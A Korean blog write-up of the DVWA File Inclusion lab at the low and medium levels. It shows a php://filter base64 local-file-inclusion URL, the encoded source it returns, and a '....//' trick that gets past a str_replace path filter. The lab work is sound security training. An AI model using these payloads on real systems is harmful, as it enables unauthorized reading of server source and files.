본문 바로가기
Web/DVWA 실습

DVWA - File Inclusion (low,medium) 실습

by jh117jh 2022. 10. 30.
728x90

File Inclusion

웹 브라우저를 통해 서버에 파일을 포함시키는 과정으로 include할 페이지 경로가 적절히 필터링 되지 않고 디렉토리 변경 명령어들의 삽입을 허용했을 때 일어난다.

 

low level

요청을 확인해봣을때 아무런 필터링도 거치지 않고 파일 이름을 파라미터로 받아서 include 하는 것을 알 수 있다.

 

url에서 파일명만 변경되는것을 확인하고

file4를 입력해봤더니 숨겨진 파일이 나왔다.

이제 목적에서 요구하는 "../hackable/flags/fi.php"를 include 해보자.

5개의 인용문중 3개가 확인되었다.

 

소스코드를 직접 읽어봐야 숨겨진 인용문을 확인할 수 있을 것이다.

php Wrapper의 PHP Filter를 사용해보자.

 

php://filter/convert.base64-encode/resource=

리소스를 읽을 때 base64로 인코딩하는 필터(convert.base64-encode)를 적용한다는 의미이다.

이를 적용하여 아래 링크로 접속해보았다.

 

http://localhost/DVWA-master/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=../../hackable/flags/fi.php

 

PD9waHAKCmlmKCAhZGVmaW5lZCggJ0RWV0FfV0VCX1BBR0VfVE9fUk9PVCcgKSApIHsKCWV4aXQgKCJOaWNlIHRyeSA7LSkuIFVzZSB0aGUgZmlsZSBpbmNsdWRlIG5leHQgdGltZSEiKTsKfQoKPz4KCjEuKSBCb25kLiBKYW1lcyBCb25kCgo8P3BocAoKZWNobyAiMi4pIE15IG5hbWUgaXMgU2hlcmxvY2sgSG9sbWVzLiBJdCBpcyBteSBidXNpbmVzcyB0byBrbm93IHdoYXQgb3RoZXIgcGVvcGxlIGRvbid0IGtub3cuXG5cbjxiciAvPjxiciAvPlxuIjsKCiRsaW5lMyA9ICIzLikgUm9tZW8sIFJvbWVvISBXaGVyZWZvcmUgYXJ0IHRob3UgUm9tZW8/IjsKJGxpbmUzID0gIi0tTElORSBISURERU4gOyktLSI7CmVjaG8gJGxpbmUzIC4gIlxuXG48YnIgLz48YnIgLz5cbiI7CgokbGluZTQgPSAiTkM0cEkiIC4gIkZSb1pTQndiMjlzIiAuICJJRzl1SUgiIC4gIlJvWlNCeWIyOW1JRzEiIC4gIjFjM1FnYUdGIiAuICIyWlNCaCIgLiAiSUd4bFkiIC4gIldzdSI7CmVjaG8gYmFzZTY0X2RlY29kZSggJGxpbmU0ICk7Cgo/PgoKPCEtLSA1LikgVGhlIHdvcmxkIGlzbid0IHJ1biBieSB3ZWFwb25zIGFueW1vcmUsIG9yIGVuZXJneSwgb3IgbW9uZXkuIEl0J3MgcnVuIGJ5IGxpdHRsZSBvbmVzIGFuZCB6ZXJvZXMsIGxpdHRsZSBiaXRzIG9mIGRhdGEuIEl0J3MgYWxsIGp1c3QgZWxlY3Ryb25zLiAtLT4K

 

이렇게 base64로 인코딩된 fi.php의 소스코드를 확인 할 수 있다.

이를 다시 디코딩하면 

이처럼 fi.php의 소스코드를 얻을 수 있다.

소스코드안에 확인되지 않았던 인용문 2개를 추가로 얻을 수 있다.

 

medium level

medium 레벨에서는 

"http://" , "https://" , "../" , "..\" 가 str_replace로 인해 제거되어 필터링 되는 것을 알 수 있다.

low 레벨처럼 ../../hackable/flags/fi.php을 입력해 접속하려는 결과 ../../가 사라진것을 볼 수 있다.

 

이를 우회하기 위해서는 str_replace() 함수의 취약점을 이용하면 된다.

이 함수는 단순 필터링만 수행하기 떄문에 만약 "사과"를 필터링 한다고 설정 되었을떄 "사사과과"를 호출 할 시 가운데 "사과"부분만 사라지고 양 끝 "사" 와 "과"가 붙어서 "사과"가 호출 된다.

이를 이용해 ../ 이 부분을 ....// 이렇게 바꿔준다면 쉽게 우회할 수 있다.

 

이후 과정은 low 레벨과 동일하다

728x90